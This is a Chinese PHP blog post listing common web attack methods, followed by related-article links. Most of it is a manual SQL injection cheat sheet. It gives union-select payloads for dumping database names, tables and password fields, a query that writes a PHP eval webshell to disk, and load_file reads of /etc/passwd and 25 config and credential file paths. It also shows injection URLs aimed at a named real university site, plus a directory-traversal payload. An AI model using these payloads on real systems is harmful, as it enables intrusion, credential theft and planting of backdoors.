PHP常见的几种攻击方式实例小结


Posted in PHP onApril 29, 2019

本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:

1.SQL Injection(sql注入)

①.暴字段长度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

①、知道站点物理路径

②、有足够大的权限(可以用select …. from mysql.user测试)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

3.Source Code Revelation(源代码暴露)

可以用php.ini或者htaccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(远程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
收集的二十一个实用便利的PHP函数代码
Apr 22 PHP
Joomla下利用configuration.php存储简单数据
May 19 PHP
QQ登录 PHP OAuth示例代码
Jul 20 PHP
PHP超级全局变量数组小结
Oct 04 PHP
PHP中的多行字符串传递给JavaScript的两种方法
Jun 19 PHP
php遍历数组的4种方法总结
Jul 05 PHP
php实现根据url自动生成缩略图的方法
Sep 23 PHP
PHP中Header使用的HTTP协议及常用方法小结
Nov 04 PHP
PHP中的socket_read和socket_recv区别详解
Feb 09 PHP
php metaphone()函数及php localeconv() 函数实例解析
May 15 PHP
PHP使用file_get_contents发送http请求功能简单示例
Apr 29 PHP
PHP使用openssl扩展实现加解密方法示例
Feb 20 PHP
php-fpm重启导致的程序执行中断问题详解
Apr 29 #PHP
详解提高使用Java反射的效率方法
Apr 29 #PHP
Thinkphp整合阿里云OSS图片上传实例代码
Apr 28 #PHP
详解php中生成标准uuid(guid)的方法
Apr 28 #PHP
PHP写API输出的时用echo的原因详解
Apr 28 #PHP
PHP+mysql防止SQL注入的方法小结
Apr 27 #PHP
PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
Apr 27 #PHP
You might like
用PHP制作的意见反馈表源码
2007/03/11 PHP
深入php中var_dump方法的使用详解
2013/06/24 PHP
PHP加密解密字符串汇总
2015/04/26 PHP
PHP中利用sleep函数实现定时执行功能实现代码
2016/08/25 PHP
PHP读取并输出XML文件数据的简单实现方法
2017/12/22 PHP
PHP通过curl获取接口URL的数据方法
2018/05/31 PHP
PHP使用PDO 连接与连接管理操作实例分析
2020/04/21 PHP
Javascript数组的排序 sort()方法和reverse()方法
2012/06/04 Javascript
鼠标拖动实现DIV排序示例代码
2013/10/14 Javascript
js中function()使用方法
2013/12/24 Javascript
js实现的捐赠管理完整实例
2015/01/20 Javascript
nodejs实现获取某宝商品分类
2015/05/28 NodeJs
动态JavaScript所造成一些你不知道的危害
2016/09/25 Javascript
connection reset by peer问题总结及解决方案
2016/10/21 Javascript
angularjs实现猜数字大小功能
2020/05/20 Javascript
angular5 httpclient的示例实战
2018/03/12 Javascript
Angular 4.x+Ionic3踩坑之Ionic 3.x界面传值详解
2018/03/13 Javascript
[01:04]DOTA2:伟大的Roshan雕塑震撼来临
2015/01/30 DOTA
[01:10]DOTA2次级职业联赛 - EP战队宣传片
2014/12/01 DOTA
Python开发编码规范
2006/09/08 Python
python实现的登录和操作开心网脚本分享
2014/07/09 Python
python解决网站的反爬虫策略总结
2016/10/26 Python
python执行系统命令后获取返回值的几种方式集合
2018/05/12 Python
python主线程捕获子线程的方法
2018/06/17 Python
Python socket非阻塞模块应用示例
2019/09/12 Python
HTML5 Canvas draw方法制作动画效果示例
2013/07/11 HTML / CSS
匈牙利墨盒和碳粉购买网站:CDRmarket
2018/04/14 全球购物
eBay意大利购物网站:eBay.it
2019/09/04 全球购物
医学护理系毕业生求职信
2013/10/01 职场文书
大学三年计划书范文
2014/04/30 职场文书
欢迎领导标语
2014/06/27 职场文书
2014年路政工作总结
2014/12/10 职场文书
小学生暑假安全公约
2015/07/14 职场文书
2019年干货:自我鉴定
2019/03/25 职场文书
2019事业单位个人工作总结范文
2019/08/26 职场文书
Django实现聊天机器人
2021/05/31 Python